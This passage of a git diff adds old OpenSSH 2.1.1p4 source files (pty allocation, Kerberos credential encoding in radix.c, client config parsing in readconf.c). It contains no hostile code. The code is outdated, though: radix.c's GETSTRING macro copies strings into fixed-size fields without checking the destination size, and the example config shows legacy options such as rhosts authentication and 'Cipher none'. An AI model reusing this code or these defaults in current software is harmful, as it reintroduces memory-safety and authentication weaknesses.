_len ,__FILE__, __LINE__); \ + packet_disconnect("Packet integrity error."); \ + } \ +} while (0) + +/* remote host is connected via a socket/ipv4 */ +int packet_connection_is_on_socket(void); +int packet_connection_is_ipv4(void); + +/* enable SSH2 packet format */ +void packet_set_ssh2_format(void); + +/* returns remaining payload bytes */ +int packet_remaining(void); + +#endif /* PACKET_H */ diff --git a/other/openssh-2.1.1p4/pty.c b/other/openssh-2.1.1p4/pty.c new file mode 100644 index 0000000..a6c238b --- /dev/null +++ b/other/openssh-2.1.1p4/pty.c @@ -0,0 +1,302 @@ +/* + * + * pty.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 17 04:37:25 1995 ylo + * + * Allocating a pseudo-terminal, and making it the controlling tty. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: pty.c,v 1.14 2000/06/20 01:39:43 markus Exp $"); + +#ifdef HAVE_UTIL_H +# include +#endif /* HAVE_UTIL_H */ + +#include "pty.h" +#include "ssh.h" + +/* Pty allocated with _getpty gets broken if we do I_PUSH:es to it. */ +#if defined(HAVE__GETPTY) || defined(HAVE_OPENPTY) +#undef HAVE_DEV_PTMX +#endif + +#ifdef HAVE_PTY_H +# include +#endif +#if defined(HAVE_DEV_PTMX) && defined(HAVE_SYS_STROPTS_H) +# include +#endif + +#ifndef O_NOCTTY +#define O_NOCTTY 0 +#endif + +/* + * Allocates and opens a pty. Returns 0 if no pty could be allocated, or + * nonzero if a pty was successfully allocated. On success, open file + * descriptors for the pty and tty sides and the name of the tty side are + * returned (the buffer must be able to hold at least 64 characters). + */ + +int +pty_allocate(int *ptyfd, int *ttyfd, char *namebuf, int namebuflen) +{ +#if defined(HAVE_OPENPTY) || defined(BSD4_4) + /* openpty(3) exists in OSF/1 and some other os'es */ + char buf[64]; + int i; + + i = openpty(ptyfd, ttyfd, buf, NULL, NULL); + if (i < 0) { + error("openpty: %.100s", strerror(errno)); + return 0; + } + strlcpy(namebuf, buf, namebuflen); /* possible truncation */ + return 1; +#else /* HAVE_OPENPTY */ +#ifdef HAVE__GETPTY + /* + * _getpty(3) exists in SGI Irix 4.x, 5.x & 6.x -- it generates more + * pty's automagically when needed + */ + char *slave; + + slave = _getpty(ptyfd, O_RDWR, 0622, 0); + if (slave == NULL) { + error("_getpty: %.100s", strerror(errno)); + return 0; + } + strlcpy(namebuf, slave, namebuflen); + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.200s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; +#else /* HAVE__GETPTY */ +#if defined(HAVE_DEV_PTMX) + /* + * This code is used e.g. on Solaris 2.x. (Note that Solaris 2.3 + * also has bsd-style ptys, but they simply do not work.) + */ + int ptm; + char *pts; + + ptm = open("/dev/ptmx", O_RDWR | O_NOCTTY); + if (ptm < 0) { + error("/dev/ptmx: %.100s", strerror(errno)); + return 0; + } + if (grantpt(ptm) < 0) { + error("grantpt: %.100s", strerror(errno)); + return 0; + } + if (unlockpt(ptm) < 0) { + error("unlockpt: %.100s", strerror(errno)); + return 0; + } + pts = ptsname(ptm); + if (pts == NULL) + error("Slave pty side name could not be obtained."); + strlcpy(namebuf, pts, namebuflen); + *ptyfd = ptm; + + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.100s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } + /* Push the appropriate streams modules, as described in Solaris pts(7). */ + if (ioctl(*ttyfd, I_PUSH, "ptem") < 0) + error("ioctl I_PUSH ptem: %.100s", strerror(errno)); + if (ioctl(*ttyfd, I_PUSH, "ldterm") < 0) + error("ioctl I_PUSH ldterm: %.100s", strerror(errno)); +#ifndef _HPUX_SOURCE + if (ioctl(*ttyfd, I_PUSH, "ttcompat") < 0) + error("ioctl I_PUSH ttcompat: %.100s", strerror(errno)); +#endif + return 1; +#else /* HAVE_DEV_PTMX */ +#ifdef HAVE_DEV_PTS_AND_PTC + /* AIX-style pty code. */ + const char *name; + + *ptyfd = open("/dev/ptc", O_RDWR | O_NOCTTY); + if (*ptyfd < 0) { + error("Could not open /dev/ptc: %.100s", strerror(errno)); + return 0; + } + name = ttyname(*ptyfd); + if (!name) + fatal("Open of /dev/ptc returns device for which ttyname fails."); + strlcpy(namebuf, name, namebuflen); + *ttyfd = open(name, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("Could not open pty slave side %.100s: %.100s", + name, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; +#else /* HAVE_DEV_PTS_AND_PTC */ + /* BSD-style pty code. */ + char buf[64]; + int i; + const char *ptymajors = "pqrstuvwxyzabcdefghijklmnoABCDEFGHIJKLMNOPQRSTUVWXYZ"; + const char *ptyminors = "0123456789abcdef"; + int num_minors = strlen(ptyminors); + int num_ptys = strlen(ptymajors) * num_minors; + + for (i = 0; i < num_ptys; i++) { + snprintf(buf, sizeof buf, "/dev/pty%c%c", ptymajors[i / num_minors], + ptyminors[i % num_minors]); + *ptyfd = open(buf, O_RDWR | O_NOCTTY); + if (*ptyfd < 0) + continue; + snprintf(namebuf, namebuflen, "/dev/tty%c%c", + ptymajors[i / num_minors], ptyminors[i % num_minors]); + + /* Open the slave side. */ + *ttyfd = open(namebuf, O_RDWR | O_NOCTTY); + if (*ttyfd < 0) { + error("%.100s: %.100s", namebuf, strerror(errno)); + close(*ptyfd); + return 0; + } + return 1; + } + return 0; +#endif /* HAVE_DEV_PTS_AND_PTC */ +#endif /* HAVE_DEV_PTMX */ +#endif /* HAVE__GETPTY */ +#endif /* HAVE_OPENPTY */ +} + +/* Releases the tty. Its ownership is returned to root, and permissions to 0666. */ + +void +pty_release(const char *ttyname) +{ + if (chown(ttyname, (uid_t) 0, (gid_t) 0) < 0) + error("chown %.100s 0 0 failed: %.100s", ttyname, strerror(errno)); + if (chmod(ttyname, (mode_t) 0666) < 0) + error("chmod %.100s 0666 failed: %.100s", ttyname, strerror(errno)); +} + +/* Makes the tty the processes controlling tty and sets it to sane modes. */ + +void +pty_make_controlling_tty(int *ttyfd, const char *ttyname) +{ + int fd; +#ifdef HAVE_VHANGUP + void *old; +#endif /* HAVE_VHANGUP */ + + /* First disconnect from the old controlling tty. */ +#ifdef TIOCNOTTY + fd = open("/dev/tty", O_RDWR | O_NOCTTY); + if (fd >= 0) { + (void) ioctl(fd, TIOCNOTTY, NULL); + close(fd); + } +#endif /* TIOCNOTTY */ + if (setsid() < 0) + error("setsid: %.100s", strerror(errno)); + + /* + * Verify that we are successfully disconnected from the controlling + * tty. + */ + fd = open("/dev/tty", O_RDWR | O_NOCTTY); + if (fd >= 0) { + error("Failed to disconnect from controlling tty."); + close(fd); + } + /* Make it our controlling tty. */ +#ifdef TIOCSCTTY + debug("Setting controlling tty using TIOCSCTTY."); + /* + * We ignore errors from this, because HPSUX defines TIOCSCTTY, but + * returns EINVAL with these arguments, and there is absolutely no + * documentation. + */ + ioctl(*ttyfd, TIOCSCTTY, NULL); +#endif /* TIOCSCTTY */ +#ifdef HAVE_VHANGUP + old = signal(SIGHUP, SIG_IGN); + vhangup(); + signal(SIGHUP, old); +#endif /* HAVE_VHANGUP */ + fd = open(ttyname, O_RDWR); + if (fd < 0) { + error("%.100s: %.100s", ttyname, strerror(errno)); + } else { +#ifdef HAVE_VHANGUP + close(*ttyfd); + *ttyfd = fd; +#else /* HAVE_VHANGUP */ + close(fd); +#endif /* HAVE_VHANGUP */ + } + /* Verify that we now have a controlling tty. */ + fd = open("/dev/tty", O_WRONLY); + if (fd < 0) + error("open /dev/tty failed - could not set controlling tty: %.100s", + strerror(errno)); + else { + close(fd); + } +} + +/* Changes the window size associated with the pty. */ + +void +pty_change_window_size(int ptyfd, int row, int col, + int xpixel, int ypixel) +{ + struct winsize w; + w.ws_row = row; + w.ws_col = col; + w.ws_xpixel = xpixel; + w.ws_ypixel = ypixel; + (void) ioctl(ptyfd, TIOCSWINSZ, &w); +} + +void +pty_setowner(struct passwd *pw, const char *ttyname) +{ + struct group *grp; + gid_t gid; + mode_t mode; + + /* Determine the group to make the owner of the tty. */ + grp = getgrnam("tty"); + if (grp) { + gid = grp->gr_gid; + mode = S_IRUSR | S_IWUSR | S_IWGRP; + } else { + gid = pw->pw_gid; + mode = S_IRUSR | S_IWUSR | S_IWGRP | S_IWOTH; + } + + /* Change ownership of the tty. */ + if (chown(ttyname, pw->pw_uid, gid) < 0) + fatal("chown(%.100s, %d, %d) failed: %.100s", + ttyname, pw->pw_uid, gid, strerror(errno)); + if (chmod(ttyname, mode) < 0) + fatal("chmod(%.100s, 0%o) failed: %.100s", + ttyname, mode, strerror(errno)); +} diff --git a/other/openssh-2.1.1p4/pty.h b/other/openssh-2.1.1p4/pty.h new file mode 100644 index 0000000..2841968 --- /dev/null +++ b/other/openssh-2.1.1p4/pty.h @@ -0,0 +1,48 @@ +/* + * + * pty.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 17 05:03:28 1995 ylo + * + * Functions for allocating a pseudo-terminal and making it the controlling + * tty. + */ + +/* RCSID("$OpenBSD: pty.h,v 1.7 2000/06/20 01:39:43 markus Exp $"); */ + +#ifndef PTY_H +#define PTY_H + +/* + * Allocates and opens a pty. Returns 0 if no pty could be allocated, or + * nonzero if a pty was successfully allocated. On success, open file + * descriptors for the pty and tty sides and the name of the tty side are + * returned (the buffer must be able to hold at least 64 characters). + */ +int pty_allocate(int *ptyfd, int *ttyfd, char *ttyname, int ttynamelen); + +/* + * Releases the tty. Its ownership is returned to root, and permissions to + * 0666. + */ +void pty_release(const char *ttyname); + +/* + * Makes the tty the processes controlling tty and sets it to sane modes. + * This may need to reopen the tty to get rid of possible eavesdroppers. + */ +void pty_make_controlling_tty(int *ttyfd, const char *ttyname); + +/* Changes the window size associated with the pty. */ +void +pty_change_window_size(int ptyfd, int row, int col, + int xpixel, int ypixel); + +void pty_setowner(struct passwd *pw, const char *ttyname); + +#endif /* PTY_H */ diff --git a/other/openssh-2.1.1p4/radix.c b/other/openssh-2.1.1p4/radix.c new file mode 100644 index 0000000..7e668ea --- /dev/null +++ b/other/openssh-2.1.1p4/radix.c @@ -0,0 +1,194 @@ +/* + * radix.c + * + * Dug Song + */ + +#include "includes.h" +#include "uuencode.h" + +RCSID("$OpenBSD: radix.c,v 1.12 2000/06/22 23:55:00 djm Exp $"); + +#ifdef AFS +#include + +typedef unsigned char my_u_char; +typedef unsigned int my_u_int32_t; +typedef unsigned short my_u_short; + +/* Nasty macros from BIND-4.9.2 */ + +#define GETSHORT(s, cp) { \ + register my_u_char *t_cp = (my_u_char*)(cp); \ + (s) = (((my_u_short)t_cp[0]) << 8) \ + | (((my_u_short)t_cp[1])) \ + ; \ + (cp) += 2; \ +} + +#define GETLONG(l, cp) { \ + register my_u_char *t_cp = (my_u_char*)(cp); \ + (l) = (((my_u_int32_t)t_cp[0]) << 24) \ + | (((my_u_int32_t)t_cp[1]) << 16) \ + | (((my_u_int32_t)t_cp[2]) << 8) \ + | (((my_u_int32_t)t_cp[3])) \ + ; \ + (cp) += 4; \ +} + +#define PUTSHORT(s, cp) { \ + register my_u_short t_s = (my_u_short)(s); \ + register my_u_char *t_cp = (my_u_char*)(cp); \ + *t_cp++ = t_s >> 8; \ + *t_cp = t_s; \ + (cp) += 2; \ +} + +#define PUTLONG(l, cp) { \ + register my_u_int32_t t_l = (my_u_int32_t)(l); \ + register my_u_char *t_cp = (my_u_char*)(cp); \ + *t_cp++ = t_l >> 24; \ + *t_cp++ = t_l >> 16; \ + *t_cp++ = t_l >> 8; \ + *t_cp = t_l; \ + (cp) += 4; \ +} + +#define GETSTRING(s, p, p_l) { \ + register char* p_targ = (p) + p_l; \ + register char* s_c = (s); \ + register char* p_c = (p); \ + while (*p_c && (p_c < p_targ)) { \ + *s_c++ = *p_c++; \ + } \ + if (p_c == p_targ) { \ + return 1; \ + } \ + *s_c = *p_c++; \ + (p_l) = (p_l) - (p_c - (p)); \ + (p) = p_c; \ +} + + +int +creds_to_radix(CREDENTIALS *creds, unsigned char *buf, size_t buflen) +{ + char *p, *s; + int len; + char temp[2048]; + + p = temp; + *p++ = 1; /* version */ + s = creds->service; + while (*s) + *p++ = *s++; + *p++ = *s; + s = creds->instance; + while (*s) + *p++ = *s++; + *p++ = *s; + s = creds->realm; + while (*s) + *p++ = *s++; + *p++ = *s; + + s = creds->pname; + while (*s) + *p++ = *s++; + *p++ = *s; + s = creds->pinst; + while (*s) + *p++ = *s++; + *p++ = *s; + /* Null string to repeat the realm. */ + *p++ = '\0'; + + PUTLONG(creds->issue_date, p); + { + unsigned int endTime; + endTime = (unsigned int) krb_life_to_time(creds->issue_date, + creds->lifetime); + PUTLONG(endTime, p); + } + + memcpy(p, &creds->session, sizeof(creds->session)); + p += sizeof(creds->session); + + PUTSHORT(creds->kvno, p); + PUTLONG(creds->ticket_st.length, p); + + memcpy(p, creds->ticket_st.dat, creds->ticket_st.length); + p += creds->ticket_st.length; + len = p - temp; + + return (uuencode((unsigned char *)temp, len, (char *)buf, buflen)); +} + +int +radix_to_creds(const char *buf, CREDENTIALS *creds) +{ + + char *p; + int len, tl; + char version; + char temp[2048]; + + len = uudecode(buf, (unsigned char *)temp, sizeof(temp)); + if (len < 0) + return 0; + + p = temp; + + /* check version and length! */ + if (len < 1) + return 0; + version = *p; + p++; + len--; + + GETSTRING(creds->service, p, len); + GETSTRING(creds->instance, p, len); + GETSTRING(creds->realm, p, len); + + GETSTRING(creds->pname, p, len); + GETSTRING(creds->pinst, p, len); + /* Ignore possibly different realm. */ + while (*p && len) + p++, len--; + if (len == 0) + return 0; + p++, len--; + + /* Enough space for remaining fixed-length parts? */ + if (len < (4 + 4 + sizeof(creds->session) + 2 + 4)) + return 0; + + GETLONG(creds->issue_date, p); + len -= 4; + { + unsigned int endTime; + GETLONG(endTime, p); + len -= 4; + creds->lifetime = krb_time_to_life(creds->issue_date, endTime); + } + + memcpy(&creds->session, p, sizeof(creds->session)); + p += sizeof(creds->session); + len -= sizeof(creds->session); + + GETSHORT(creds->kvno, p); + len -= 2; + GETLONG(creds->ticket_st.length, p); + len -= 4; + + tl = creds->ticket_st.length; + if (tl < 0 || tl > len || tl > sizeof(creds->ticket_st.dat)) + return 0; + + memcpy(creds->ticket_st.dat, p, tl); + p += tl; + len -= tl; + + return 1; +} +#endif /* AFS */ diff --git a/other/openssh-2.1.1p4/readconf.c b/other/openssh-2.1.1p4/readconf.c new file mode 100644 index 0000000..06cfaa1 --- /dev/null +++ b/other/openssh-2.1.1p4/readconf.c @@ -0,0 +1,794 @@ +/* + * + * readconf.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Apr 22 00:03:10 1995 ylo + * + * Functions for reading the configuration files. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: readconf.c,v 1.43 2000/07/14 22:59:46 markus Exp $"); + +#include "ssh.h" +#include "cipher.h" +#include "readconf.h" +#include "match.h" +#include "xmalloc.h" +#include "compat.h" + +/* Format of the configuration file: + + # Configuration data is parsed as follows: + # 1. command line options + # 2. user-specific file + # 3. system-wide file + # Any configuration value is only changed the first time it is set. + # Thus, host-specific definitions should be at the beginning of the + # configuration file, and defaults at the end. + + # Host-specific declarations. These may override anything above. A single + # host may match multiple declarations; these are processed in the order + # that they are given in. + + Host *.ngs.fi ngs.fi + FallBackToRsh no + + Host fake.com + HostName another.host.name.real.org + User blaah + Port 34289 + ForwardX11 no + ForwardAgent no + + Host books.com + RemoteForward 9999 shadows.cs.hut.fi:9999 + Cipher 3des + + Host fascist.blob.com + Port 23123 + User tylonen + RhostsAuthentication no + PasswordAuthentication no + + Host puukko.hut.fi + User t35124p + ProxyCommand ssh-proxy %h %p + + Host *.fr + UseRsh yes + + Host *.su + Cipher none + PasswordAuthentication no + + # Defaults for various options + Host * + ForwardAgent no + ForwardX11 yes + RhostsAuthentication yes + PasswordAuthentication yes + RSAAuthentication yes + RhostsRSAAuthentication yes + FallBackToRsh no + UseRsh no + StrictHostKeyChecking yes + KeepAlives no + IdentityFile ~/.ssh/identity + Port 22 + EscapeChar ~ + +*/ + +/* Keyword tokens. */ + +typedef enum { + oBadOption, + oForwardAgent, oForwardX11, oGatewayPorts, oRhostsAuthentication, + oPasswordAuthentication, oRSAAuthentication, oFallBackToRsh, oUseRsh, + oSkeyAuthentication, oXAuthLocation, +#ifdef KRB4 + oKerberosAuthentication, +#endif /* KRB4 */ +#ifdef AFS + oKerberosTgtPassing, oAFSTokenPassing, +#endif + oIdentityFile, oHostName, oPort, oCipher, oRemoteForward, oLocalForward, + oUser, oHost, oEscapeChar, oRhostsRSAAuthentication, oProxyCommand, + oGlobalKnownHostsFile, oUserKnownHostsFile, oConnectionAttempts, + oBatchMode, oCheckHostIP, oStrictHostKeyChecking, oCompression, + oCompressionLevel, oKeepAlives, oNumberOfPasswordPrompts, oTISAuthentication, + oUsePrivilegedPort, oLogLevel, oCiphers, oProtocol, oIdentityFile2, + oGlobalKnownHostsFile2, oUserKnownHostsFile2, oDSAAuthentication +} OpCodes; + +/* Textual representations of the tokens. */ + +static struct { + const char *name; + OpCodes opcode; +} keywords[] = { + { "forwardagent", oForwardAgent }, + { "forwardx11", oForwardX11 }, + { "xauthlocation", oXAuthLocation }, + { "gatewayports", oGatewayPorts }, + { "useprivilegedport", oUsePrivilegedPort }, + { "rhostsauthentication", oRhostsAuthentication }, + { "passwordauthentication", oPasswordAuthentication }, + { "rsaauthentication", oRSAAuthentication }, + { "dsaauthentication", oDSAAuthentication }, + { "skeyauthentication", oSkeyAuthentication }, +#ifdef KRB4 + { "kerberosauthentication", oKerberosAuthentication }, +#endif /* KRB4 */ +#ifdef AFS + { "kerberostgtpassing", oKerberosTgtPassing }, + { "afstokenpassing", oAFSTokenPassing }, +#endif + { "fallbacktorsh", oFallBackToRsh }, + { "usersh", oUseRsh }, + { "identityfile", oIdentityFile }, + { "identityfile2", oIdentityFile2 }, + { "hostname", oHostName }, + { "proxycommand", oProxyCommand }, + { "port", oPort }, + { "cipher", oCipher }, + { "ciphers", oCiphers }, + { "protocol", oProtocol }, + { "remoteforward", oRemoteForward }, + { "localforward", oLocalForward }, + { "user", oUser }, + { "host", oHost }, + { "escapechar", oEscapeChar }, + { "rhostsrsaauthentication", oRhostsRSAAuthentication }, + { "globalknownhostsfile", oGlobalKnownHostsFile }, + { "userknownhostsfile", oUserKnownHostsFile }, + { "globalknownhostsfile2", oGlobalKnownHostsFile2 }, + { "userknownhostsfile2", oUserKnownHostsFile2 }, + { "connectionattempts", oConnectionAttempts }, + { "batchmode", oBatchMode }, + { "checkhostip", oCheckHostIP }, + { "stricthostkeychecking", oStrictHostKeyChecking }, + { "compression", oCompression }, + { "compressionlevel", oCompressionLevel }, + { "keepalive", oKeepAlives }, + { "numberofpasswordprompts", oNumberOfPasswordPrompts }, + { "tisauthentication", oTISAuthentication }, + { "loglevel", oLogLevel }, + { NULL, 0 } +}; + +/* + * Adds a local TCP/IP port forward to options. Never returns if there is an + * error. + */ + +void +add_local_forward(Options *options, u_short port, const char *host, + u_short host_port) +{ + Forward *fwd; + extern uid_t original_real_uid; + if (port < IPPORT_RESERVED && original_real_uid != 0) + fatal("Privileged ports can only be forwarded by root.\n"); + if (options->num_local_forwards >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("Too many local forwards (max %d).", SSH_MAX_FORWARDS_PER_DIRECTION); + fwd = &options->local_forwards[options->num_local_forwards++]; + fwd->port = port; + fwd->host = xstrdup(host); + fwd->host_port = host_port; +} + +/* + * Adds a remote TCP/IP port forward to options. Never returns if there is + * an error. + */ + +void +add_remote_forward(Options *options, u_short port, const char *host, + u_short host_port) +{ + Forward *fwd; + if (options->num_remote_forwards >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("Too many remote forwards (max %d).", + SSH_MAX_FORWARDS_PER_DIRECTION); + fwd = &options->remote_forwards[options->num_remote_forwards++]; + fwd->port = port; + fwd->host = xstrdup(host); + fwd->host_port = host_port; +} + +/* + * Returns the number of the token pointed to by cp of length len. Never + * returns if the token is not known. + */ + +static OpCodes +parse_token(const char *cp, const char *filename, int linenum) +{ + unsigned int i; + + for (i = 0; keywords[i].name; i++) + if (strcasecmp(cp, keywords[i].name) == 0) + return keywords[i].opcode; + + fprintf(stderr, "%s: line %d: Bad configuration option: %s\n", + filename, linenum, cp); + return oBadOption; +} + +/* + * Processes a single option line as used in the configuration files. This + * only sets those values that have not already been set. + */ + +int +process_config_line(Options *options, const char *host, + char *line, const char *filename, int linenum, + int *activep) +{ + char buf[256], *s, *string, **charptr, *endofnumber, *keyword, *arg; + int opcode, *intptr, value; + u_short fwd_port, fwd_host_port; + + s = line; + /* Get the keyword. (Each line is supposed to begin with a keyword). */ + keyword = strdelim(&s); + /* Ignore leading whitespace. */ + if (*keyword == '\0') + keyword = strdelim(&s); + if (!*keyword || *keyword == '\n' || *keyword == '#') + return 0; + + opcode = parse_token(keyword, filename, linenum); + + switch (opcode) { + case oBadOption: + /* don't panic, but count bad options */ + return -1; + /* NOTREACHED */ + case oForwardAgent: + intptr = &options->forward_agent; +parse_flag: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing yes/no argument.", filename, linenum); + value = 0; /* To avoid compiler warning... */ + if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) + value = 1; + else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) + value = 0; + else + fatal("%.200s line %d: Bad yes/no argument.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oForwardX11: + intptr = &options->forward_x11; + goto parse_flag; + + case oGatewayPorts: + intptr = &options->gateway_ports; + goto parse_flag; + + case oUsePrivilegedPort: + intptr = &options->use_privileged_port; + goto parse_flag; + + case oRhostsAuthentication: + intptr = &options->rhosts_authentication; + goto parse_flag; + + case oPasswordAuthentication: + intptr = &options->password_authentication; + goto parse_flag; + + case oDSAAuthentication: + intptr = &options->dsa_authentication; + goto parse_flag; + + case oRSAAuthentication: + intptr = &options->rsa_authentication; + goto parse_flag; + + case oRhostsRSAAuthentication: + intptr = &options->rhosts_rsa_authentication; + goto parse_flag; + + case oTISAuthentication: + /* fallthrough, there is no difference on the client side */ + case oSkeyAuthentication: + intptr = &options->skey_authentication; + goto parse_flag; + +#ifdef KRB4 + case oKerberosAuthentication: + intptr = &options->kerberos_authentication; + goto parse_flag; +#endif /* KRB4 */ + +#ifdef AFS + case oKerberosTgtPassing: + intptr = &options->kerberos_tgt_passing; + goto parse_flag; + + case oAFSTokenPassing: + intptr = &options->afs_token_passing; + goto parse_flag; +#endif + + case oFallBackToRsh: + intptr = &options->fallback_to_rsh; + goto parse_flag; + + case oUseRsh: + intptr = &options->use_rsh; + goto parse_flag; + + case oBatchMode: + intptr = &options->batch_mode; + goto parse_flag; + + case oCheckHostIP: + intptr = &options->check_host_ip; + goto parse_flag; + + case oStrictHostKeyChecking: + intptr = &options->strict_host_key_checking; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing yes/no argument.", + filename, linenum); + value = 0; /* To avoid compiler warning... */ + if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) + value = 1; + else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) + value = 0; + else if (strcmp(arg, "ask") == 0) + value = 2; + else + fatal("%.200s line %d: Bad yes/no/ask argument.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oCompression: + intptr = &options->compression; + goto parse_flag; + + case oKeepAlives: + intptr = &options->keepalives; + goto parse_flag; + + case oNumberOfPasswordPrompts: + intptr = &options->number_of_password_prompts; + goto parse_int; + + case oCompressionLevel: + intptr = &options->compression_level; + goto parse_int; + + case oIdentityFile: + case oIdentityFile2: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (*activep) { + intptr = (opcode == oIdentityFile) ? + &options->num_identity_files : + &options->num_identity_files2; + if (*intptr >= SSH_MAX_IDENTITY_FILES) + fatal("%.200s line %d: Too many identity files specified (max %d).", + filename, linenum, SSH_MAX_IDENTITY_FILES); + charptr = (opcode == oIdentityFile) ? + &options->identity_files[*intptr] : + &options->identity_files2[*intptr]; + *charptr = xstrdup(arg); + *intptr = *intptr + 1; + } + break; + + case oXAuthLocation: + charptr=&options->xauth_location; + goto parse_string; + + case oUser: + charptr = &options->user; +parse_string: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (*activep && *charptr == NULL) + *charptr = xstrdup(arg); + break; + + case oGlobalKnownHostsFile: + charptr = &options->system_hostfile; + goto parse_string; + + case oUserKnownHostsFile: + charptr = &options->user_hostfile; + goto parse_string; + + case oGlobalKnownHostsFile2: + charptr = &options->system_hostfile2; + goto parse_string; + + case oUserKnownHostsFile2: + charptr = &options->user_hostfile2; + goto parse_string; + + case oHostName: + charptr = &options->hostname; + goto parse_string; + + case oProxyCommand: + charptr = &options->proxy_command; + string = xstrdup(""); + while ((arg = strdelim(&s)) != NULL && *arg != '\0') { + string = xrealloc(string, strlen(string) + strlen(arg) + 2); + strcat(string, " "); + strcat(string, arg); + } + if (*activep && *charptr == NULL) + *charptr = string; + else + xfree(string); + return 0; + + case oPort: + intptr = &options->port; +parse_int: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] < '0' || arg[0] > '9') + fatal("%.200s line %d: Bad number.", filename, linenum); + + /* Octal, decimal, or hex format? */ + value = strtol(arg, &endofnumber, 0); + if (arg == endofnumber) + fatal("%.200s line %d: Bad number.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oConnectionAttempts: + intptr = &options->connection_attempts; + goto parse_int; + + case oCipher: + intptr = &options->cipher; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + value = cipher_number(arg); + if (value == -1) + fatal("%.200s line %d: Bad cipher '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oCiphers: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (!ciphers_valid(arg)) + fatal("%.200s line %d: Bad SSH2 cipher spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && options->ciphers == NULL) + options->ciphers = xstrdup(arg); + break; + + case oProtocol: + intptr = &options->protocol; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + value = proto_spec(arg); + if (value == SSH_PROTO_UNKNOWN) + fatal("%.200s line %d: Bad protocol spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && *intptr == SSH_PROTO_UNKNOWN) + *intptr = value; + break; + + case oLogLevel: + intptr = (int *) &options->log_level; + arg = strdelim(&s); + value = log_level_number(arg); + if (value == (LogLevel) - 1) + fatal("%.200s line %d: unsupported log level '%s'\n", + filename, linenum, arg ? arg : ""); + if (*activep && (LogLevel) * intptr == -1) + *intptr = (LogLevel) value; + break; + + case oRemoteForward: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] < '0' || arg[0] > '9') + fatal("%.200s line %d: Badly formatted port number.", + filename, linenum); + fwd_port = atoi(arg); + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing second argument.", + filename, linenum); + if (sscanf(arg, "%255[^:]:%hu", buf, &fwd_host_port) != 2) + fatal("%.200s line %d: Badly formatted host:port.", + filename, linenum); + if (*activep) + add_remote_forward(options, fwd_port, buf, fwd_host_port); + break; + + case oLocalForward: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] < '0' || arg[0] > '9') + fatal("%.200s line %d: Badly formatted port number.", + filename, linenum); + fwd_port = atoi(arg); + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing second argument.", + filename, linenum); + if (sscanf(arg, "%255[^:]:%hu", buf, &fwd_host_port) != 2) + fatal("%.200s line %d: Badly formatted host:port.", + filename, linenum); + if (*activep) + add_local_forward(options, fwd_port, buf, fwd_host_port); + break; + + case oHost: + *activep = 0; + while ((arg = strdelim(&s)) != NULL && *arg != '\0') + if (match_pattern(host, arg)) { + debug("Applying options for %.100s", arg); + *activep = 1; + break; + } + /* Avoid garbage check below, as strdelim is done. */ + return 0; + + case oEscapeChar: + intptr = &options->escape_char; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] == '^' && arg[2] == 0 && + (unsigned char) arg[1] >= 64 && (unsigned char) arg[1] < 128) + value = (unsigned char) arg[1] & 31; + else if (strlen(arg) == 1) + value = (unsigned char) arg[0]; + else if (strcmp(arg, "none") == 0) + value = -2; + else { + fatal("%.200s line %d: Bad escape character.", + filename, linenum); + /* NOTREACHED */ + value = 0; /* Avoid compiler warning. */ + } + if (*activep && *intptr == -1) + *intptr = value; + break; + + default: + fatal("process_config_line: Unimplemented opcode %d", opcode); + } + + /* Check that there is no garbage at end of line. */ + if ((arg = strdelim(&s)) != NULL && *arg != '\0') + { + fatal("%.200s line %d: garbage at end of line; \"%.200s\".", + filename, linenum, arg); + } + return 0; +} + + +/* + * Reads the config 